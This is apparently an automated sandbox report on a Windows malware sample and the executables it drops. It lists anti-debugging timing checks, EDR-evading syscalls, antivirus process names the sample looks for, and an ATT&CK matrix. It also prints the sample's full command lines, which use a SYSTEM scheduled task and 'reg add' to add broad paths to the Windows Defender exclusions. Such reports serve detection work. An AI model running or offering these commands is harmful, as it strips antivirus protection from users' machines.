Source: C:\Users\user\Desktop\153776434-874356550.05.exe	RDTSC instruction interceptor: First address: 1400010F7 second address: 14000110E instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 dec eax 0x0000000a mov ecx, eax 0x0000000c nop 0x0000000d nop 0x0000000e dec eax 0x0000000f xor edx, edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 fldpi 0x00000015 frndint 0x00000017 rdtsc
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	RDTSC instruction interceptor: First address: 14000110E second address: 14000110E instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 xor ebx, ebx 0x00000009 dec eax 0x0000000a mov ebx, edx 0x0000000c dec eax 0x0000000d or eax, ebx 0x0000000f dec eax 0x00000010 sub eax, ecx 0x00000012 nop 0x00000013 dec ebp 0x00000014 xor edx, edx 0x00000016 dec esp 0x00000017 mov edx, eax 0x00000019 dec ebp 0x0000001a cmp edx, eax 0x0000001c jc 00007F08410E7E40h 0x0000001e fldpi 0x00000020 frndint 0x00000022 rdtsc
Source: C:\Users\user\Documents\ocGsp4.exe	RDTSC instruction interceptor: First address: 67CE75 second address: 67CE83 instructions: 0x00000000 rdtsc 0x00000002 dec esp 0x00000003 mov ecx, edx 0x00000005 dec ecx 0x00000006 shl ecx, 20h 0x00000009 dec esp 0x0000000a or ecx, eax 0x0000000c frndint 0x0000000e rdtsc

Source: C:\Users\user\Documents\ocGsp4.exe	Window / User API: threadDelayed 7060	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Window / User API: threadDelayed 2847	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Window / User API: threadDelayed 7130	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Window / User API: threadDelayed 580	Jump to behavior

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

Dropped PE file which has not been started: C:\Windows\System32\drivers\189atohci.sys

Jump to dropped file

Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_40-3257
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_44-3243
Source: C:\Users\user\Documents\ocGsp4.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_4-14027
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_39-3261

Source: C:\Users\user\Documents\ocGsp4.exe

API coverage: 2.7 %

Source: C:\Users\user\Documents\ocGsp4.exe TID: 7832	Thread sleep count: 7060 > 30	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe TID: 7832	Thread sleep time: -14120000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe TID: 7468	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe TID: 7468	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe TID: 7832	Thread sleep count: 2847 > 30	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe TID: 7832	Thread sleep time: -5694000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe TID: 3332	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe TID: 7576	Thread sleep time: -45000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe TID: 7584	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe TID: 7584	Thread sleep time: -1500000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe TID: 1852	Thread sleep count: 7130 > 30	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe TID: 1852	Thread sleep time: -7130000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe TID: 7616	Thread sleep time: -45000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe TID: 1852	Thread sleep count: 580 > 30	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe TID: 1852	Thread sleep time: -580000s >= -30000s	Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\ocGsp4.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_00007FFE1320A1B8 FindFirstFileExW,

4_2_00007FFE1320A1B8

Source: C:\Users\user\Documents\ocGsp4.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: 153776434-874356550.05.exe, 00000000.00000003.1854393730.00000000005A7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Documents\ocGsp4.exe	API call chain: ExitProcess graph end node			graph_4-14028
Source: C:\Users\user\Documents\ocGsp4.exe	API call chain: ExitProcess graph end node			graph_4-14372

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_00000001400073E0 LdrLoadDll,

4_2_00000001400073E0

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_0000000140007C91 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_0000000140007C91

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_000000014000F000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_000000014000F000

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 38_3_04330643 mov eax, dword ptr fs:[00000030h]	38_3_04330643
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 38_3_04330643 mov eax, dword ptr fs:[00000030h]	38_3_04330643
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 38_3_043300CD mov eax, dword ptr fs:[00000030h]	38_3_043300CD
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 38_3_043300CD mov eax, dword ptr fs:[00000030h]	38_3_043300CD
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 38_3_04330643 mov eax, dword ptr fs:[00000030h]	38_3_04330643
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 38_3_04330643 mov eax, dword ptr fs:[00000030h]	38_3_04330643
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 38_3_043300CD mov eax, dword ptr fs:[00000030h]	38_3_043300CD
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 38_3_043300CD mov eax, dword ptr fs:[00000030h]	38_3_043300CD

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_0000000140004630 GetProcessHeap,HeapReAlloc,GetProcessHeap,HeapAlloc,

4_2_0000000140004630

Source: C:\Users\user\Documents\ocGsp4.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_0000000140007C91 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0000000140007C91
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00000001400106B0 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00000001400106B0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00000001400092E0 SetUnhandledExceptionFilter,	4_2_00000001400092E0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00007FFE13201F50 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FFE13201F50
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00007FFE132076E0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FFE132076E0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00007FFE13202630 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00007FFE13202630
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 39_2_008410CC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	39_2_008410CC
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 39_2_00842AE2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	39_2_00842AE2
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 39_2_008451FB __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_008451FB
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Code function: 40_2_00CF10CC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	40_2_00CF10CC
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Code function: 40_2_00CF2AE2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	40_2_00CF2AE2
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Code function: 40_2_00CF51FB __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	40_2_00CF51FB
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Code function: 44_2_00612AE2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	44_2_00612AE2
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Code function: 44_2_006110CC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	44_2_006110CC
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Code function: 44_2_006151FB __NMSG_WRITE,_raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	44_2_006151FB

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\ocGsp4.exe	NtAllocateVirtualMemory: Indirect: 0x140006FD0	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	NtProtectVirtualMemory: Indirect: 0x29AB253	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	NtProtectVirtualMemory: Indirect: 0x2A2B253	Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	NtDelayExecution: Indirect: 0x1D9CD5	Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe "C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Program Files (x86)\SibbEG\SibbEG.exe "C:\Program Files (x86)\SibbEG\SibbEG.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\user\Documents\" /t REG_DWORD /d 0 /f"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Run /TN "Task1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Delete /TN "Task1" /F	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f	Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\programdata\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\users\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\program files (x86)\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"%userprofile%\documents\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\programdata\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\users\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"c:\program files (x86)\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" cmd.exe /c schtasks /create /f /tn "task1" /sc once /st 00:00 /rl highest /ru "system" /tr "cmd.exe /c reg add \"hklm\software\microsoft\windows defender\exclusions\paths\" /v \"%userprofile%\documents\" /t reg_dword /d 0 /f" & schtasks /run /tn "task1" & schtasks /delete /tn "task1" /f	Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_00007FFE1320FD40 cpuid

4_2_00007FFE1320FD40

Source: C:\Users\user\Documents\ocGsp4.exe	Code function: GetLocaleInfoA,	4_2_000000014000F370
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: GetLocaleInfoA,	39_2_00846B1A
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Code function: GetLocaleInfoA,	40_2_00CF6B1A
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Code function: GetLocaleInfoA,	44_2_00616B1A

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_000000014000A370 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

4_2_000000014000A370

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_0000000140005A70 GetStartupInfoW,GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

4_2_0000000140005A70

Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: kxetray.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avcenter.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: KSafeTray.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360Safe.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: rtvscan.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: ashDisp.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: avgwdsvc.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: AYAgent.aye
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: QUHLPSVC.EXE
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: RavMonD.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe
Source: ocGsp4.exe, 00000004.00000002.1986739933.0000000002778000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: K7TSecurity.exe

Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_00000001400042B0 EnterCriticalSection,CancelWaitableTimer,SetEvent,WaitForSingleObject,TerminateThread,CloseHandle,CloseHandle,CloseHandle,RpcServerUnregisterIf,RpcMgmtStopServerListening,EnterCriticalSection,LeaveCriticalSection,DeleteCriticalSection,#4,#4,#4,LeaveCriticalSection,DeleteCriticalSection,#4,		4_2_00000001400042B0
Source: C:\Users\user\Documents\ocGsp4.exe	Code function: 4_2_0000000140003F80 InitializeCriticalSection,#4,#4,GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,GetVersionExW,RpcSsDontSerializeContext,RpcServerUseProtseqEpW,RpcServerRegisterIfEx,RpcServerListen,CreateWaitableTimerW,CreateEventW,SetWaitableTimer,		4_2_0000000140003F80

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	112 Command and Scripting Interpreter	33 Windows Service	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	4 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	223 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Service Execution	1 Registry Run Keys / Startup Folder	33 Windows Service	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Process Injection	32 Masquerading	LSA Secrets	231 Security Software Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Scheduled Task/Job	1 Modify Registry	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	111 Virtualization/Sandbox Evasion	DCSync	111 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
153776434-874356550.05.exe	3%	ReversingLabs
153776434-874356550.05.exe	12%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\k65O7cr6i\tbcore3U.dll	100%	Avira	TR/Redcap.vdzex
C:\Program Files (x86)\SibbEG\tbcore3U.dll	100%	Avira	TR/Redcap.vdzex
